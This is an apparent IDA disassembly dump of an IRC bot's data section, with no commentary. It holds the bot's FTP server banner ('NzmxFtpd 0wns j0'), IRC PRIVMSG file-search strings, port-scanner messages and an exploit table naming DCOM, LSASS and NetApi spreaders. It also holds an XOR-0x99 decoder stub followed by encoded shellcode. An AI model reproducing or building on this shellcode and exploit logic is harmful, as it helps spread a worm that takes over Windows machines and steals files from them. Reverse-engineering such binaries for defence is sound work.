aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; ___:0042F830o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B5r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------


loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96


loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
